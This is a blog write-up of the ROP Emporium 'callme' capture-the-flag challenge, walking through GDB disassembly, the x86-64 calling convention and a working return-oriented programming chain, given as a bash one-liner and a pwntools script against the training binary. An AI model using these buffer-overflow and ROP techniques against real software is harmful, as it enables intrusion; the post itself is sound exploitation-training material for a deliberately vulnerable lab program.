ropemporium: callme cafebabe (writeup continued)

Feb 8, 2024 security rop

Table Of Contents

intro

In ropemporium: split and callme writeup we went through the split problem. This callme challenge uses the same principles in a slightly more complicated configuration, and I know I said I’d do both in that post but it was getting long. Sorry. My blog, my rules.

In the description we’re told we need to make the following calls in the following order to print the flag:

Pretty friendly. Let’s see if we can do it.

investigation

Using the same technique as last time with nm, we can see usefulFunction and usefulGadgets functions in the binary. GDB will tell us what’s happening in each:

gdb -q callme
(gdb) disass usefulFunction
Dump of assembler code for function usefulFunction:
   0x00000000004008f2 <+0>:	push   rbp
   0x00000000004008f3 <+1>:	mov    rbp,rsp
   0x00000000004008f6 <+4>:	mov    edx,0x6
   0x00000000004008fb <+9>:	mov    esi,0x5
   0x0000000000400900 <+14>:	mov    edi,0x4
   0x0000000000400905 <+19>:	call   0x4006f0 <callme_three@plt>
   0x000000000040090a <+24>:	mov    edx,0x6
   0x000000000040090f <+29>:	mov    esi,0x5
   0x0000000000400914 <+34>:	mov    edi,0x4
   0x0000000000400919 <+39>:	call   0x400740 <callme_two@plt>
   0x000000000040091e <+44>:	mov    edx,0x6
   0x0000000000400923 <+49>:	mov    esi,0x5
   0x0000000000400928 <+54>:	mov    edi,0x4
   0x000000000040092d <+59>:	call   0x400720 <callme_one@plt>
   0x0000000000400932 <+64>:	mov    edi,0x1
   0x0000000000400937 <+69>:	call   0x400750 <exit@plt>
End of assembler dump.
(gdb) disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x000000000040093c <+0>:	pop    rdi
   0x000000000040093d <+1>:	pop    rsi
   0x000000000040093e <+2>:	pop    rdx
   0x000000000040093f <+3>:	ret
End of assembler dump.
(gdb) exit

All three calls land in the PLT because these are loaded from an external library which comes bundled with the executable. In usefulFunction, the program is loading in parameters for callme_three, then calling it, and then doing the same for callme_two and callme_one.

Now we just need a gadget that loads in parameters to those registers and returns, which makes the usefulness of usefulGadgets quite clear: this is how we’ll pop values off the stack into specific registers, where each callme method will look for its arguments. But we should double check the x86-64 Application Binary Interface. On page 25 in the “Parameter Passing” section, it specifies:

2. If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8, and %r9 is used.

According to this, the calling convention will be:

callme(%rdi, %rsi, %rdx)

According to this, all we need from our ROP chain is:

  1. Overwrite the instruction pointer with the 3-argument gadget
  2. Pop all three arguments left-to-right
  3. The PLT address of callme_one which will be popped off the stack after the ret from the previous gadget
  4. Repeat for callme_two and callme_three

solution

Lets gather our opcodes:

bash

BOF=$(perl -E 'say "X" x 40')
ARG1="\xef\xbe\xad\xde\xef\xbe\xad\xde"
ARG2="\xbe\xba\xfe\xca\xbe\xba\xfe\xca"
ARG3="\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"
GADGET="\x3c\x09\x40\x00\x00\x00\x00\x00"
CALLME_ONE="\x20\x07\x40\x00\x00\x00\x00\x00"
CALLME_TWO="\x40\x07\x40\x00\x00\x00\x00\x00"
CALLME_THREE="\xf0\x06\x40\x00\x00\x00\x00\x00
echo "$BOF$GADGET$ARG1$ARG2$ARG3$CALLME_ONE$GADGET$ARG1$ARG2$ARG3$CALLME_TWO$GADGET$ARG1$ARG2$ARG3$CALLME_THREE" | ./callme
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

As usual this is easier to understand using Python and pwntools.

python

from pwn import *

prog = process("./callme")

payload = b'A' * 40

arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
gadget = 0x40093c
callme_one = 0x400720
callme_two = 0x400740
callme_three = 0x4006f0

payload_order = [
        gadget, arg1, arg2, arg3, callme_one,
        gadget, arg1, arg2, arg3, callme_two,
        gadget, arg1, arg2, arg3, callme_three,
]

payload += b''.join([p64(addr) for addr in payload_order])

print(prog.recvuntil(b'>'))
prog.clean()

prog.sendline(payload)

print(prog.clean())